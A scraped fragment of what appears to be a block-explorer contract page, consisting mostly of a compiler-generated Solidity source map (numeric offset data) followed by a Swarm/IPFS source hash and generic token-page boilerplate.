:32;1267:60;;1323:1;1320;1313:12;1338:382;1403:6;1411;1464:2;1452:9;1443:7;1439:23;1435:32;1432:52;;;1480:1;1477;1470:12;1432:52;1519:9;1506:23;1538:31;1563:5;1538:31;:::i;:::-;1588:5;-1:-1:-1;1645:2:1;1630:18;;1617:32;1658:30;1617:32;1658:30;:::i;:::-;1707:7;1697:17;;;1338:382;;;;;:::o;1907:456::-;1984:6;1992;2000;2053:2;2041:9;2032:7;2028:23;2024:32;2021:52;;;2069:1;2066;2059:12;2021:52;2108:9;2095:23;2127:31;2152:5;2127:31;:::i;:::-;2177:5;-1:-1:-1;2234:2:1;2219:18;;2206:32;2247:33;2206:32;2247:33;:::i;:::-;1907:456;;2299:7;;-1:-1:-1;;;2353:2:1;2338:18;;;;2325:32;;1907:456::o;2368:247::-;2427:6;2480:2;2468:9;2459:7;2455:23;2451:32;2448:52;;;2496:1;2493;2486:12;2448:52;2535:9;2522:23;2554:31;2579:5;2554:31;:::i;3242:388::-;3310:6;3318;3371:2;3359:9;3350:7;3346:23;3342:32;3339:52;;;3387:1;3384;3377:12;3339:52;3426:9;3413:23;3445:31;3470:5;3445:31;:::i;:::-;3495:5;-1:-1:-1;3552:2:1;3537:18;;3524:32;3565:33;3524:32;3565:33;:::i;3635:356::-;3837:2;3819:21;;;3856:18;;;3849:30;3915:34;3910:2;3895:18;;3888:62;3982:2;3967:18;;3635:356::o;3996:127::-;4057:10;4052:3;4048:20;4045:1;4038:31;4088:4;4085:1;4078:15;4112:4;4109:1;4102:15;4128:422;4217:1;4260:5;4217:1;4274:270;4295:7;4285:8;4282:21;4274:270;;;4354:4;4350:1;4346:6;4342:17;4336:4;4333:27;4330:53;;;4363:18;;:::i;:::-;4413:7;4403:8;4399:22;4396:55;;;4433:16;;;;4396:55;4512:22;;;;4472:15;;;;4274:270;;;4278:3;4128:422;;;;;:::o;4555:806::-;4604:5;4634:8;4624:80;;-1:-1:-1;4675:1:1;4689:5;;4624:80;4723:4;4713:76;;-1:-1:-1;4760:1:1;4774:5;;4713:76;4805:4;4823:1;4818:59;;;;4891:1;4886:130;;;;4798:218;;4818:59;4848:1;4839:10;;4862:5;;;4886:130;4923:3;4913:8;4910:17;4907:43;;;4930:18;;:::i;:::-;-1:-1:-1;;4986:1:1;4972:16;;5001:5;;4798:218;;5100:2;5090:8;5087:16;5081:3;5075:4;5072:13;5068:36;5062:2;5052:8;5049:16;5044:2;5038:4;5035:12;5031:35;5028:77;5025:159;;;-1:-1:-1;5137:19:1;;;5169:5;;5025:159;5216:34;5241:8;5235:4;5216:34;:::i;:::-;5286:6;5282:1;5278:6;5274:19;5265:7;5262:32;5259:58;;;5297:18;;:::i;:::-;5335:20;;4555:806;-1:-1:-1;;;4555:806:1:o;5366:140::-;5424:5;5453:47;5494:4;5484:8;5480:19;5474:4;5453:47;:::i;5511:168::-;5584:9;;;5615;;5632:15;;;5626:22;;5612:37;5602:71;;5653:18;;:::i;5684:128::-;5751:9;;;5772:11;;;5769:37;;;5786:18;;:::i;6784:306::-;6872:6;6880;6888;6941:2;6929:9;6920:7;6916:23;6912:32;6909:52;;;6957:1;6954;6947:12;6909:52;6986:9;6980:16;6970:26;;7036:2;7025:9;7021:18;7015:25;7005:35;;7080:2;7069:9;7065:18;7059:25;7049:35;;6784:306;;;;;:::o;7374:245::-;7441:6;7494:2;7482:9;7473:7;7469:23;7465:32;7462:52;;;7510:1;7507;7500:12;7462:52;7542:9;7536:16;7561:28;7583:5;7561:28;:::i;7624:251::-;7694:6;7747:2;7735:9;7726:7;7722:23;7718:32;7715:52;;;7763:1;7760;7753:12;7715:52;7795:9;7789:16;7814:31;7839:5;7814:31;:::i;10410:125::-;10475:9;;;10496:10;;;10493:36;;;10509:18;;:::i;10899:217::-;10939:1;10965;10955:132;;11009:10;11004:3;11000:20;10997:1;10990:31;11044:4;11041:1;11034:15;11072:4;11069:1;11062:15;10955:132;-1:-1:-1;11101:9:1;;10899:217::o;11253:127::-;11314:10;11309:3;11305:20;11302:1;11295:31;11345:4;11342:1;11335:15;11369:4;11366:1;11359:15;11385:980;11647:4;11695:3;11684:9;11680:19;11726:6;11715:9;11708:25;11752:2;11790:6;11785:2;11774:9;11770:18;11763:34;11833:3;11828:2;11817:9;11813:18;11806:31;11857:6;11892;11886:13;11923:6;11915;11908:22;11961:3;11950:9;11946:19;11939:26;;12000:2;11992:6;11988:15;11974:29;;12021:1;12031:195;12045:6;12042:1;12039:13;12031:195;;;12110:13;;-1:-1:-1;;;;;12106:39:1;12094:52;;12201:15;;;;12166:12;;;;12142:1;12060:9;12031:195;;;-1:-1:-1;;;;;;;12282:32:1;;;;12277:2;12262:18;;12255:60;-1:-1:-1;;;12346:3:1;12331:19;12324:35;12243:3;11385:980;-1:-1:-1;;;11385:980:1:o

Swarm Source

ipfs://9e6a891fc3032b5219bae478121ab03a6525567fa47ef38dd70147edae19bcb6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.